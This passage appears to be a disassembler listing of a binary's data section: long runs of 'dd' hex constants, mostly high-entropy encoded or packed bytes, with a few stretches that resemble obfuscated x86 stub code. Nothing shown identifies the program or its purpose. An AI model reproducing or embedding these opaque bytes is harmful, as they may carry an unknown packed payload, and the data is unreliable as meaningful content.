0E52C31D5h, 0AEBE4218h, 63611427h dd 4F3A14CDh, 99975AA7h, 6E3CC1C0h, 0F100039Eh, 4859C62Dh dd 2B3D9EF2h, 0CA339F5Dh, 0BFF19848h, 43D9ACAFh, 4E6568A4h dd 0A1D9ACB0h, 5D43E46Eh, 0CA0ED12Fh, 6AA62777h, 2CFF71DDh dd 2000000h, 0EB7370D1h, 0ACD1F4E2h, 76BE03D9h, 0B49EB563h dd 850804E3h, 0D9ACD1AEh, 6FB40901h, 61EBBC66h, 0D111E0DEh dd 0E1210Eh, 0A7A80000h, 0C099975Ah, 68013FBEh, 0FB46A429h dd 26FD2BB6h, 6AB742FCh, 768EC767h, 80D38ACCh, 13EE7C81h dd 0C242C00Dh, 1CA6EF72h, 8ACC6275h, 0AC7BA6D3h, 5BA6EB66h dd 0ACBD62EDh, 0E759375Eh, 42D9D9ACh, 0D52065F8h, 64AE377Ch dd 71722FA4h, 0C7060895h, 0B050F249h, 170EAC20h, 38ECA6C8h dd 43647662h, 0CD51ECF8h, 0D19F96E4h, 0BF8F9ADFh, 0B23DA32Fh dd 0A693A62Fh, 8897DFD1h, 40D85F4Eh, 0FE24A9F7h, 8D21B63h dd 0E0E935h, 0BA117166h, 0E7147AB8h, 1000000Dh, 213CCE0Fh dd 0F54812DFh, 0BD805AAFh, 44D96D78h, 6EEBB33Ah, 2DACF2EDh dd 777E8499h, 0B8494AD7h, 0CF121FE2h, 0F29B633Fh, 0CD635FE7h dd 0AA72CF2Bh, 41AFDE26h, 15A8B643h, 39D47E02h, 8B16F4F5h dd 6AC17F8Ah, 9CE578A8h, 0D1C8B551h, 0E2EB7370h, 0D9ACD1F4h dd 5233E934h, 0D9ACD283h, 9619A3F4h, 0ED11128h, 138E9h dd 26AA7000h, 44E98EF9h, 7E17F77Eh, 0D389DA5Bh, 0FC240DFh dd 0A841FF02h, 3A876766h, 151EEBF6h, 25A846CCh, 0D389DEDDh dd 458C976Ah, 0F0FD04D9h, 36B6DA2Ah, 164E6835h, 73BE53F3h dd 980F00DDh, 0D55A6A0h, 0B95F7BBh, 31BB6BAh, 0A66C75BEh dd 0A2E17C08h, 0B768F353h, 533950AAh, 0D7D9ACBBh, 246FF248h dd 888A67DDh, 0D974C379h, 813ED575h, 1A16E322h, 0E3EA340Dh dd 0FB431E35h, 8A881F66h, 0DB76CD7Bh, 8B1BEB7Bh, 0ACBAF7C2h dd 2AA33BD9h, 0D9ACBB0Fh, 0D5791413h, 0D1779DCCh, 0A4869DDFh dd 2A0D44D4h, 0EEDFD177h, 7707D233h, 1C0BDFD1h, 0C3CB5636h dd 91AC203Ah, 0FD934139h, 0BC8C9C86h, 0F0A1DF21h, 92BBE01Dh dd 904DD16Ch, 81E54F8Eh, 0E7BA11B7h, 0CA4AB29h, 525D0000h dd 226EF38Bh, 0F2320FDFh, 0BBFA47E7h, 7D819C2Eh, 222BAE7Ch dd 52E8F13Dh, 6832C3CFh, 0A7478E95h, 0F08A575Ah, 0A2B5DC2Ch dd 66CD635Eh, 57A73D88h, 0B54044D9h, 8AC88DA8h, 0B9968DD3h dd 64B3697Ch, 502D3DC9h, 0D7BE8C51h, 0D38AC804h, 58351904h dd 66F69459h, 40D8466Ah, 3210E1EFh, 245AA73Fh, 585100C1h dd 5EAC7B34h, 0A43173CEh, 8AA49CBFh, 0C1C39CD3h, 9423F834h dd 7814F08Eh, 20A9B53Dh, 0D38AA515h, 8AC00E15h, 0FA97BF53h dd 0E52668B7h, 8F855099h, 8A41E5B0h, 27325B15h, 0EBD38A85h dd 75A3367Eh, 967403DEh, 0AC9D4DFFh, 0C14CDD9h, 21FC4BC1h dd 858E13EBh, 57E2F73Eh, 9CCFE6CFh, 0EF20D9ACh, 46DCC265h dd 15250ED1h, 0AC000000h, 38CDD7AAh, 89BBC1Ah, 24A80000h dd 566B136Fh, 1815398Fh, 8BCDD7AAh, 0AE5AD786h, 100CDB07h dd 186ADF3Bh, 0BABD5926h, 1D0EB398h, 2BF24009h, 0EB36D9ACh dd 0EFCA8313h, 33D9AC2Bh, 0F9902EF4h, 39EF86B8h, 0C2889723h dd 878A9737h, 0E4ECE07Ah, 4F522BAh, 565D7811h, 46DDD9ACh dd 0C8D56BABh, 40F07913h, 211FE62Dh, 89874648h, 0F523B2F0h dd 0CC76895Eh, 93396EA2h, 3717DA27h, 839B66AAh, 0F078EFCAh dd 2EF43340h, 0F79E6EFEh, 40F078E4h, 6875BB24h, 4AC867BCh dd 0F48A97h, 0C3685E9Bh, 4342FE95h, 40F01775h, 4701AA1h dd 0D72AF0FDh, 840907CAh, 40F016AAh, 0F1BD4782h, 89992DB0h dd 17855039h, 9E8540F0h, 15D8D9B4h, 0D6DCA131h, 0D93A110Fh dd 40F016FEh, 27EAFB38h, 0BBA45AF8h, 0B101E506h, 0ACEFF4DDh dd 0B6DF6272h, 40EFF5A3h, 4A830B67h, 0A3EFB85Dh, 375E0E14h dd 47120375h, 4CDC6EB5h, 0DD2061FCh, 1202A5B0h, 0B2FC6547h dd 8B26FD2Bh, 590FE98Bh, 6A63FBE8h, 4D343654h, 5F7A13E3h dd 0A34D3436h, 0A039DE44h, 8EA59362h, 5212AF3h, 492B4517h dd 1F73CBD8h, 103A23DEh, 78430A82h, 0B82B44D9h, 9C4CD66Dh dd 66F5E3F5h, 4CF82731h, 10D925B8h, 0F3320F24h, 311D2AE6h dd 76C7752Ah, 117BD249h, 543D09A4h, 378CC53Bh, 0A62B75C8h dd 8EBA4749h, 5FCA6DB1h, 0A22F72CFh, 0F1FC0518h, 56B4610Fh dd 37A59BD2h, 0A42h, 9135B4FBh, 0AD79848Ch, 0E5815450h dd 32C81D18h, 4C1EDF2Fh, 4F5F4089h, 2161FC8Eh, 0EC370AD0h dd 0B5FC41E5h, 7ECE9228h, 635C4417h, 9F6AC4CDh, 0A8B3DAAAh dd 5FD38AC7h, 8AC82336h, 1538E7D3h, 82553C0Eh, 86D38AC8h dd 0DB26BB9Bh, 0B74A2E16h, 8E8449A8h, 9E908h, 0CC0D1200h dd 10DD233Eh, 58ADF74Ah, 6376BF82h, 0B13846DBh, 0F0EF7015h dd 829F2FAEh, 48D57180h, 1DE0BA4Bh, 613DC914h, 5BE5F099h dd 0CD25CD63h, 975AA770h, 1EEB2AB7h, 77091522h, 0B155949Ah dd 42FF7593h, 0AE8CC521h, 72D9ACFAh, 0FAC691F8h, 0DF4AD9ACh dd 6A3F76B3h, 0D16C2EC3h, 83B9C334h, 8C359B6Ah, 0F2328F9Fh dd 301229E7h, 0A11F3950h, 0B8D4A18Ch, 16EFD9EBh, 0BA5DC1AAh dd 2C18E12Dh, 7B5E3717h, 0BFA18CB0h, 8F5FD560h, 0ACFCF4C3h dd 0F740F017h, 51EE5AABh, 0A8B966CDh, 0B08BC252h, 70A18C68h dd 90F969B5h, 0A7B1E67Fh, 1AE729B4h, 0E66E4900h, 77B2A7B1h dd 91D08AFh, 9A606DB4h, 2EF4F907h, 0EF626EFEh, 48999A3Eh dd 409ADF0Eh, 0B0020FC2h, 0B2BDFED9h, 48E702A7h, 70BDA6E8h dd 444AC862h, 902h, 51F5F43Bh, 6D39C4CCh, 0A5419490h, 0F2885D58h dd 0CDE1F6Fh, 8F9F8049h, 61A1BC4Eh, 2C77CA90h, 0F53C01A5h dd 0BE8E52E8h, 635B04D7h, 5F2A04CDh, 99975AA7h, 6832C3C0h dd 8AC8B661h, 988936D3h, 2FA7CB82h, 0BC6BD9B2h, 46D1D3AEh dd 0A17EAA3Fh, 0C558080Ah, 889531BCh, 1BE64489h, 0B950CC19h dd 66BD6B7Ah, 3F1A73CBh, 0C3D9B230h, 0A940FE24h, 0D1A86465h dd 752103D2h, 8BB0702Fh, 8800795h, 76B90000h, 464AD777h dd 161EE3BBh, 0DF263BC3h, 0A1ED700Ah, 6C78258h, 36D41519h dd 4C1EE72Bh, 9B23B2F1h, 0D4767B86h, 7E593008h, 82CD635Ah dd 5AA7D954h, 0C1C09997h, 2B69003Ch, 2E6662DEh, 9AD0A03Ch dd 1EE72C05h, 28335A22h, 0E8D38ABEh, 2881F3Dh, 0DCA135F4h dd 80070FD6h, 0E62EB3FAh, 40E2513h, 0E1854849h, 0F325E9D7h dd 4E32814h, 0D1B10000h, 0E2EB7370h, 0D9B22E8Eh, 0BDAD8A5h dd 0B63F441Dh, 819C3B1Bh, 56D9D8A5h, 12E8874Ah, 2DF0CB82h dd 0BA30D9B2h, 0B22E08D3h, 461D08D9h, 1E874CDCh, 0F68E170Dh dd 49531E99h, 0B5EB8C36h, 7C955F45h, 3Eh, 0C70E15E8h, 0D7AAE25Fh dd 0AAC688CEh, 189D7798h, 0DA78D74Dh, 77D7D471h, 8ABE3B1Eh dd 0F420FFD3h, 0F2200EE9h, 0A42E61F3h, 8BBF9D03h, 0C64F4h dd 0AAED0000h, 1E04C9D7h, 1DBB8h, 74D1C100h, 502DB977h dd 3E878F4Eh, 4CF73466h, 9DF141D9h, 0D32661EAh, 0FCDF0420h dd 0B4CF737h, 0F7387742h, 0A96CBB4Ch, 4DF7D072h, 86ABF4AAh dd 3B3D9Bh, 0D1440000h, 0D4B97774h, 4CF7342Dh, 0D3BCED7h dd 69A72E74h, 5761EBBEh, 0DA26BBB3h, 34263158h, 3FEA4CF7h dd 5FE5A260h, 327D831Eh, 1C2BE1F0h, 0D5CBDD41h, 1C9B86ABh dd 77h, 3574D1A5h, 0A22E1AEFh, 51CFFD13h, 48A17CB6h, 19EDB84Dh dd 8A226570h, 0FE7EA5D3h, 3075C992h, 5C35E3F2h, 8D9C8855h dd 5FA6D07Ah, 0BFFD8208h, 6814F37Ah, 9B897F64h, 8E940FE1h dd 36B0h, 74D13900h, 0DDFE9777h, 5DD38AC7h, 7492B8C6h dd 24850F42h, 0C81A3D54h, 31ED38Ah, 17178503h, 10DE14F3h dd 0E000000h, 641FAA42h, 9150F28h, 0F65C34h, 5CE50000h dd 0C9h, 7774D1E5h, 0FA070A97h, 733FA658h, 0C428DB0Bh dd 0CAEDE474h, 4E28DB0Ah, 0AE5473D3h, 0A2D49309h, 64A13CBFh dd 868C9B91h, 82A8h, 74D13100h, 0A0A9777h, 28EA41FFh, 315828B8h dd 0D38AC826h, 8E173FEAh, 0D38AC7ABh, 1984B06Fh, 0F3AAF55Ah dd 4FF09AADh, 0F4D2EE51h, 4390h, 74D11900h, 0B7079777h dd 8AC7FBDEh, 0B78BF4D3h, 45F19C7h, 0A1080A11h, 0D38A7A96h dd 22BF8F9Ah, 7C3210E1h, 0AAA76211h, 0F882D540h, 0D3384977h dd 1D88A7h, 0EC7C0000h, 0AA9ED2E5h, 87895640h, 8A67AF7Ah dd 0A3F626AAh, 0D52120E8h, 426F49h, 0A7920000h, 3499975Ah dd 0D38AC81Eh, 0F3BF459Ch, 0B7DB23AEh, 0DA736255h, 0C141CD50h dd 7774D11Ch, 0B8C0E14Bh, 8A6BDB61h, 0F6D38AD5h, 0F30AEBD2h dd 0FF1F3614h, 0AABBFFFFh, 804C9D7h, 86851333h, 3C000002h dd 187626AAh, 0CD9A1868h, 79A53074h, 0E4509DE4h, 6DF9040Dh dd 0D6429390h, 9E75D579h, 0B7424221h, 494B0218h, 0C9D9AC47h dd 0D8FFE652h, 62D9AC46h, 8E5BD120h, 2CC57386h, 142319E4h dd 0F2FC8615h, 0CE711B2Ch, 0ED198D0h, 3011h, 70D19800h dd 861BEB73h, 60BF757Ch, 0D21DDBA2h, 61DD9ACh, 791E720Ah dd 0CD6AA979h, 928B19Dh, 7AD9AD8Bh, 0A2189F25h, 630ED058h dd 0B2h, 0C9D7AAF6h, 32710804h, 530E14A3h, 0FC95834Eh dd 43D32BB2h, 8AC82F0Ah, 0DB34F3D3h, 68060CD9h, 0D74D9091h dd 10EAF73Ah, 25FCA57Ch, 0FB5BFFF0h, 0DDE2222Bh, 151CD389h dd 0EBE272C8h, 0D389DDD0h, 0D949D550h, 0D7DE8D32h, 1AEF3502h dd 0F596FF4Fh, 35D9AE9Ah, 0C8701CEEh, 873B0E3Ch, 1BE666ACh dd 0ED70CA13h, 54E359A4h, 0BBC35ECEh, 42843232h, 8886B074h dd 4BD0Ah, 0B0394600h, 0C40917EAh, 0CD9DB26h, 57A2E37Eh dd 6564AAB7h, 243B04C1h, 0F64B13DAh, 0BC8125ACh, 41DC6E77h dd 55E9BD40h, 56B99CF5h, 9179CD63h, 9657A724h, 0A52869F4h dd 5AA75C01h, 43238724h, 819E8B73h, 6EC57382h, 858C65D3h dd 161FE278h, 0A1FF87C3h, 173BE4D1h, 0CB741F0Fh, 0FA004CDEh dd 19E42DD6h, 17CA1423h, 42020093h, 0AC62810Bh, 0D9D881D9h dd 74031814h, 6200D5B8h, 0F83AD9ACh, 5CA633E9h, 61A8B3DAh dd 0BD68D9ACh, 0C0172AE6h, 0BE0D3C3Ah, 70712E14h, 7C29E3EAh dd 32E9DFCEh, 2D3EE368h, 0E25CB0D9h, 3DCE5F5h, 0E946F2FBh dd 2F75C852h, 0F4C900DAh, 0EE5F5E1h, 0FFDAB305h, 0C8E5F5E1h dd 54E8C436h, 0F1A398Eh, 731AEA70h, 0E5F5CD68h, 71D17DA8h dd 6F17h, 0DAAAAA00h, 8AC7A8B3h, 91BD68D3h, 8AC82908h dd 74EDED3h, 0D38AC834h, 1EE529F4h, 66FB83A0h, 3887891Eh dd 835EF5F8h, 226CF195h, 0C7DAFD94h, 0C35ED38Ah, 0E323F834h dd 8AC7BF9Ah, 701A0DD3h, 51F50004h, 696E8DC1h, 0DFAF72AAh dd 6DB14042h, 0F622B3F0h, 8AA8C9EFh, 5CE625D3h, 0F1C48D1Dh dd 31D38AA8h, 0CE131DEAh, 8459C552h, 29D4767Fh, 0FE265CA7h dd 0D1246177h, 1382CC5Bh, 2CB5FEECh, 0F18C5BF0h, 9C65AE3Bh dd 2AD0E7A0h, 9AF3454Eh, 0D38A6DBFh, 8CA4CA88h, 55F8404Fh dd 626B33CEh, 0D38AAB4Fh, 0EE5AA7E9h, 3766BA51h, 0FA14F334h dd 0FFFFFF4Eh, 0D55AA70Fh, 310E3ACFh, 4EDEAE9Ah, 8AC83407h dd 0E529F4D3h, 46A42968h, 59139AF6h, 4E12DB0Fh, 8AC63205h dd 0DE2BF6D3h, 41309D0h, 0DC450E1Eh, 1C167FCFh, 2BD9ACCFh dd 0CF27325Bh, 3CEBD9ACh, 9B984116h, 0D2AFBF4Ah, 320907D2h dd 60775E10h, 0D3D9ACCFh, 2AB7F69Ch, 6D3B1BE6h, 0ED1102Fh dd 49F6h, 70D17B00h, 0B16EB73h, 0D8777E84h, 9F4FD76Ch dd 0A62FBF0Fh, 0D38AC893h, 704B8897h, 0B0D38AC8h, 0DDF89175h dd 5DD38AC7h, 7F755CC6h, 83D9ACD2h, 0F73B8664h, 0B8A24EEh dd 0D9ACD22Ch, 3DC2489Fh, 0ED1117Fh, 10F46h, 5AA7CB00h dd 81CD9997h, 0FA072DD2h, 0AD37EBF7h, 61AD20E2h, 48D8AC98h dd 8A2B3601h, 0E72FFAD3h, 40DA276Ah, 0F02CB5FDh, 3FC2CE5Bh dd 56E82A01h, 0D36B76BBh, 29B0FE43h, 97FE24F3h, 0D38A2F8Fh dd 0C16568A9h, 52A8357Ch, 3170C3CFh, 0CDB70ACh, 0AA233B10h dd 0D38A2F8Fh, 0F08E9493h, 55B1B26Fh, 0B73678C5h, 3D88066Fh dd 9D88D9ACh, 85503989h, 85D9AC3Dh, 0F2C58C9Eh, 36D9AC3Ch dd 10FB2BEBh, 21A8B2AFh, 0DFD0FD42h, 7EC35BC6h, 0D1DA930h dd 0B9DE70B0h, 0DFCF6916h, 0D269A772h, 79360148h, 2FFADFD1h dd 16246AE7h, 0BB974F73h, 51D36E91h, 0BA11B6D1h, 0C7E3F12Fh dd 70000001h, 11CAE2Fh, 0D528F2FFh, 9D603ACFh, 0A4B94D98h dd 0ECB935Ah, 0DCCD2CDh, 579EE479h, 9869AAB7h, 0AF327FC2h dd 92FB431Fh, 0CD6353C7h, 0A712EF4Bh, 0A5B0D957h, 65D38AC7h dd 0C65BE3BEh, 451079BBh, 0C5D38AC8h, 89F6305Eh, 0AE861E8h dd 1312EF7Fh, 11CC5CC6h, 0EB7370D1h, 0ACD1F4E2h, 0DAB303D9h dd 0D9ACD1FFh, 993EE403h, 280F9682h, 9BD9ACD2h, 8339BE44h dd 420ED111h, 0DBh, 0AF26AAD7h, 1F88A3B4h, 73BE53F3h, 0D727B26Eh dd 6BBB1A16h, 95D38A3Eh, 58A5418Ch, 0CC989459h, 62A03171h dd 233B2899h, 0AC4CE4AAh, 76BB24D9h, 0FE4EDC6Bh, 0B1D21B63h dd 0D9AC4CA6h, 62A2BF6Ah, 80829997h, 5556CB80h, 98A98F1h dd 938EDFD1h, 1AEF368Bh, 5D0D112Eh, 0EE3170CDh, 48E75DA4h dd 6AA887BDh, 8426A7F7h, 8C7475B9h, 0BA110822h, 0D3785ED4h dd 6C000000h, 3D00DA23h, 0C15CEEF3h, 899436C3h, 50AD798Ch dd 1AFF8F4Eh, 39C0CED1h, 4392906Dh, 945DA6BBh, 0DB266BF6h dd 0E6EF7F03h, 0CD6352D3h, 0A70EFB57h, 3B802557h, 9ECAEDE4h dd 0D34ED38Ah, 773E04B7h, 0F23F02D8h, 0BAD365ADh, 0D38A9B9Fh dd 52E98463h, 461178C8h, 1D38A9Ch, 69E816B8h, 0E03F12ACh dd 0A77FE222h, 0C099975Ah, 0CDFC8FC1h, 0E058F7DCh, 0D1A1B155h dd 8A7F9DB8h, 9C869DD3h, 535B0AB7h, 0EA819E8Ah, 0E6117910h dd 0A11D9B1h, 0FC3E431Eh, 0B1E5C295h, 0CDB46D9h, 30E2EE7Eh dd 861D5674h, 809C44Eh, 0A6464FC5h, 6BE1AFDEh, 0DF228E34h dd 69B50812h, 9F62A260h, 38D14F92h, 0D13CE8FDh, 21604CF6h dd 0EE330EDCh, 3A735E3h, 0DA000000h, 58A761E0h, 0C3CE9B91h dd 2C77023Eh, 90926FA5h, 0F03ECB41h, 58A633E9h, 0C7CE9B91h dd 296B0632h, 878960DCh, 6858CE7Ah, 240Ch, 51242489h, 4B9h dd 244C0100h, 9685904h, 89000002h, 0FD682404h, 8900005Eh dd 8C682434h, 8B062767h, 0C4832404h, 4B716804h, 24890000h dd 24048124h, 4, 4EC835Eh, 8F240489h, 34FF0846h, 0C4815E24h dd 4, 582434FFh, 4C481h, 5EE90000h, 2FFFFBD7h, 3DE8408Eh dd 0C1B7CB11h dd 0DA160879h, 0C3B8CAF4h, 3062776h, 79E0FFC5h, 5650A727h dd 405F4152h, 6041DD3Bh, 99741B99h, 2D4FA7C0h, 9239E449h dd 95776232h, 0E5454E3Ah, 2D47583Dh, 267E19E5h, 4F55A586h dd 0A7546A4h, 33047BCCh, 4B4DC724h, 88337CB9h, 7B44B2B2h dd 5D20B0AAh, 3F0E6597h, 0D134560Fh, 0A83FA747h, 3C3238A4h dd 0FB30030Dh, 47779E96h, 5A15770Dh, 1C5EFFF4h, 8D110B1Bh dd 222C7D9Dh, 39B806h, 85890000h, 6221F35h, 0E8h, 0D055800h dd 89000000h, 39E903h, 0 dd 0Dh dup(77E6h), 8DFF77E6h, 2778E18Dh, 1D9D8906h, 89062229h dd 2233F18Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 85C7531Fh, 6222D31h, 6CF0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 34C35545h, 0C392FBC9h dd 0C7FB8B0Bh, 2230E585h, 6, 6830F00h, 81000000h, 0F7E0CAE7h dd 0DB5FF66h, 6A062214h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 42E2C353h, 0B9931663h dd 14E92E32h, 5B000000h, 0B2B49B3Eh, 19DBC189h, 6AE2D934h dd 71941453h, 0FF9E70B9h, 22206595h, 8E0F6006h, 6, 860Fh dd 7E80000h, 94000000h, 754A9927h, 8C0F86D1h, 0 dd 6A615Eh, 307595FFh, 0C08B0622h, 1D2A58EBh, 0E11B67Fh dd 3227E7DCh, 0DF1F7FFCh, 79D5EFE5h, 935D4744h, 0A86F792Eh dd 6D19C2BAh, 0B5E6FCEBh, 0BA4E2E8Eh, 76508D28h, 28D94AD5h dd 4FFCA2h, 0BDCA5BFBh, 0F80CD2DDh, 0DB1C9C4Eh, 421961EAh dd 24516528h, 4AFE220Bh, 68EAB034h, 51419E34h, 8F2EB188h dd 0DE9F79Bh, 0B4000000h, 4BEF36h, 2 dup(0) dd 4D0E9h, 0E05B2200h, 54F39889h, 0BC8BF43Dh, 221D6C55h dd 8BB8C6CBh, 2D660660h, 868BE261h, 0F33C57F4h, 6E53BA85h dd 3CA251Eh, 4292A676h, 0D387411Dh, 34057753h, 0A0B9F847h dd 0CE1F2C53h, 75471AFh, 89B2C677h, 8FE61944h, 1C41FA82h dd 4192ADDFh, 125A5F2Ch, 1DD4D223h, 22D60746h, 0EA5BB137h dd 727BA08Bh, 2F4A9642h, 868BE25Dh, 83747F2h, 285798DBh dd 80B1D81Bh, 0D11E4FF8h, 24499AA9h, 77A4E956h, 0D49E8108h dd 70189614h, 0FD74EC31h, 0D49DB77Bh, 5FE89094h, 98CFD3Ah dd 0B1DB8E6Dh, 8AD60901h, 0B345849h, 6FD8A1EEh, 84A1FF3Eh dd 3A31A7C8h, 68D7B847h, 0B782F63Bh, 145784C3h, 814880D5h dd 2039C367h, 0EFBDA8D3h, 473A31DBh, 0EF3C7F3Eh, 9F85FF76h dd 1F5E1A82h, 0C0078C1h, 98257527h, 9C10473Ah, 473A984Ch dd 86350AA1h, 387FF25Ah, 2D9651F3h, 0B8CFC4C1h, 29F428E1h dd 8Dh, 3A0577F1h, 1424F8DDh, 0F9473A3Bh, 8D5F6EB2h, 473A3B7Fh dd 0FF2C1762h, 2F7CC7B2h, 6AC03821h, 0C6096F92h, 51F3DB8Bh dd 62Eh, 3E4C4900h, 7703D301h, 9404904h, 6485C47Fh, 3A3B6088h dd 0E7269547h, 384451B6h, 93C07B01h, 0A1CC1150h, 6453673h dd 0CBD7B0D5h, 0C0C08D69h, 2677D4BAh, 5198C407h, 0D2671128h dd 2F4E9FACh, 674CADECh, 3AF265B5h, 5E2B8847h, 3275B0E5h dd 0C029DFEEh, 4EFF8CA8h, 0A4CF0E3Dh, 0DF36117Bh, 38077747h dd 96B5C6EBh, 48900C71h, 0AD473A3Bh, 6C8BD20Eh, 0DFAF85E3h dd 74180960h, 2A559ACBh, 7140C81Dh, 9AE45524h, 0CB366AADh dd 0D9F79AADh, 47E251F3h, 28000000h, 0EB380777h, 598AB9C6h dd 0E2642AFh, 67A8C380h, 0B6FB2817h, 62B78C3h, 569BC873h dd 85CB1823h, 3A161C5Ch, 6B1639BFh, 6E51F3D9h, 47h, 0C17E0C09h dd 777C393h, 0B2C6EB38h, 270A4489h, 2C1B63C1h, 47749C5h dd 96BE3F49h, 0CBBE96C2h, 0F53065A4h, 325855B2h, 8B2B81AFh dd 0B1F0CBF8h, 0CA13416Ch, 3A6DE93Ah, 38B04147h, 0F3855C11h dd 17951h, 77A10000h, 0F9DE3B08h, 3A3B1723h, 7EB3FA47h dd 0DBE23E0Dh, 3C5DE696h, 0DFDB594Bh, 3AEA93B0h, 192C704Fh dd 0A2A4E33h, 54A1C685h, 0ADC81D2Ah, 570C6C77h, 99CA7906h dd 2EFE1B5Ah, 4918105Dh, 52A7B32h, 7CA5CC77h, 0E9563910h dd 136065B6h, 6F8EDF6Ch, 0B8ED5622h, 7785277Dh, 77411850h dd 2B7F2D12h, 0CE411850h, 3048B1EFh, 54BF88F4h, 0F526216Bh dd 3A6BD4B8h, 3EF672FFh, 8794F54Eh, 0E40754F3h, 0CA8757B8h dd 0EF4BD170h, 0F0h, 64AB5837h, 2AAA6903h, 109B4918h, 65DEAEC3h dd 0C277050Ah, 1E5D8EBDh, 117DBADFh, 9EC2E132h, 0E15A224Fh dd 3F0C7FBCh, 81BEC1EEh, 0EF09F85Ch, 0F573FC3Bh, 9BF24D3Fh dd 0D1AA067Bh, 2CD34Bh, 587B0000h, 940861A8h, 11736CA4h dd 23F12289h, 0C73A3B17h, 43C82029h, 0D421468Dh, 10419FA8h dd 736CAC9Ch, 0C32A8191h, 830Ch, 525FF600h, 95C71D26h dd 0A47891DEh, 49183D13h, 1D2DFF24h, 0F0411834h, 3AA67BDh dd 54EF9DD2h, 588F43Dh, 439A6F24h, 5D6D3FECh, 0B04118CCh dd 1E7BBAFDh, 551A9BA5h, 47611A29h, 3C4997D2h, 1867A160h dd 96D25F41h, 3A55EE9Eh, 3E6029DAh, 43008E4Eh, 892AD312h dd 0E700433Ah, 38B1A035h, 3162494Fh, 66B790FCh, 0C1CECBAEh dd 95D35E82h, 1B7CC3B0h, 534E3C81h, 0B9DEDD45h, 0E2330C7Ch dd 0D8729DC3h, 1E6AAB58h, 72B5F025h, 0F2368715h, 0DAE7491Ah dd 55689B2h, 709BA4E8h, 0E5023D4Fh, 165BE4A8h, 6D88DD66h dd 0FC461637h, 9E05A57Ah, 6D1F1553h, 3BCCB5D2h, 148D17E0h dd 0FB242F75h, 4865B691h, 7FD50641h, 2D9676F2h, 0C8E5180h dd 0C2C90655h, 6A125F85h, 0E7BB8D1h, 9FC5E035h, 6414B74h dd 84AD5h, 5FB80000h, 0C71D2652h, 677BC06h, 0B9C3E83Dh dd 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh, 27529FCCh dd 0DDA2CF1Ch, 8BF03D6Eh, 81696FBCh, 4ECh, 240C8900h, 0C181E189h dd 4, 8704E983h, 515C240Ch, 0C181E189h, 4, 4E981h, 0C870000h dd 1C895C24h, 6D596824h, 14890000h, 0B8505624h, 6277955h dd 8958C689h, 0EC815EF3h, 4, 81242489h, 42404h, 815A0000h dd 4ECh, 240C8900h, 8B9h, 89D10100h, 34FF5919h, 0C4835A24h dd 2434FF04h, 4C4835Bh, 0FB04C6E9h, 0A8B7ECFFh, 0A1C429D2h dd 7DA3B894h, 0C5030627h, 62FE0FFh, 0E68073B2h, 53EA3314h dd 0EF586650h, 8FCE5B9Dh, 8D8D0310h, 6277EEDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F3C35545h, 45B5DFFh dd 0F18D8936h, 0FC062233h, 2D3185C7h, 5B840622h, 0B5890000h dd 6223329h, 30E585C7h, 622h, 0BA660000h, 0B5FFBD9Bh, 62219F5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5C35646h dd 2961A7D5h, 2202099Dh, 2DBF6606h, 6595FFA7h, 6A062220h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 6686C353h, 802604BFh, 6AE1E0h, 307595FFh dd 0C08B0622h, 0CCA66FEBh, 69C78221h, 8BE0191Fh, 42B6BE8Fh dd 8292E8EFh, 79D8721Ah, 0EACB4E61h, 9997B771h, 0D55FEDDAh dd 46955D69h, 0C7DA1BF2h, 0BC2554F1h, 12D16931h, 3FC3E662h dd 7E948BA7h, 8FC029F6h, 7FCF439Dh, 0D3CFC748h, 3A0AE4B8h dd 5D1912FEh, 13C51F05h, 2BA79F00h, 87991A33h, 0DBA52B21h dd 0AF2CD23Dh, 9A4A1CDDh, 0CB3C18D9h, 90D78930h, 60EB18h dd 17h dup(0) dd 0E9000000h, 0AE3h, 0AD7E9h, 86FC6800h, 0CE90627h, 68FFFB03h dd 6278855h, 0FB0302E9h, 88B468FFh, 0F8E90627h, 9CFFFB02h dd 0F23F56F1h, 6E53BA89h, 0C6CB2221h, 306188B3h, 9096F14Eh dd 48F787D0h, 0BD8AF021h, 201B6D52h, 8BB4D8C9h, 0CE0F960h dd 411D44FCh, 77A57D11h, 0FE234403h, 3A3B1A2Eh, 0C7BCFF47h dd 7018D01Eh, 0CB124E63h, 0C1961AEh, 3AD54890h, 0CF0EAD47h dd 36117BA4h, 35B8C4D1h, 24C8F8D2h, 55B9A6Eh, 82BDCBE0h dd 5C6C0065h, 0B1473A43h, 6A87A6FAh, 95F22320h, 0E6D1AA2Ch dd 61BF5E75h, 72073658h, 5B88B7C7h, 75A6D918h, 5C535638h dd 56107678h, 8DA2F332h, 0E92643FCh, 2D78A49Fh, 0A3A0EB28h dd 0FC4B347Dh, 4AF982AFh, 0BB08FB19h, 0B2DBCE5Eh, 0F1BC491Ah dd 53F09B98h, 0E72AD838h, 0E5D2EA82h, 7C3F411Dh, 0C17A022Fh dd 577ECA6h, 0D36B603Ah, 166A958h, 20571440h, 4C9031CEh dd 0FF4851B0h, 0D0162E94h, 0D66EB27Fh, 0F3CFF79Ah, 47E254h dd 58280000h, 5FBC66A9h, 8E1BCE6h, 3A3CB986h, 4190CC59h dd 5565371Ch, 0B8473A58h, 67B493FBh, 0DDF0544h, 473A58FDh dd 5FC19D10h, 470477C7h, 93D6122h, 968173Bh, 42A6B620h dd 93C100C0h, 0A59AB2C3h, 26h, 66A95889h, 0BDCD5FBCh, 5F473A3Bh dd 0C75F865Ch, 22470477h, 499AA9D5h, 0B25EF62Ah, 74E45E27h dd 20312684h, 0E65F20FCh, 27D69B26h, 5578D19h, 34E8014Eh dd 491814E3h, 0A07CA10Ch, 41181C9Ch, 4E81E762h, 4BD1B513h dd 18FA6h, 0AA586C00h, 566A0267h, 0BB473A3Bh, 3B3246D6h dd 0DAE7473Ah, 254095AEh, 3D72A3E2h, 3293F44Fh, 0B3D24BC2h dd 7496A351h, 4B05F5D8h, 138BD408h, 1E2D525Fh, 1761AECDh dd 60BCFF2Ch, 52083359h, 0A958D36Bh, 0F551BC66h, 0F3CFF79Ah dd 97E12E54h, 473C7FACh, 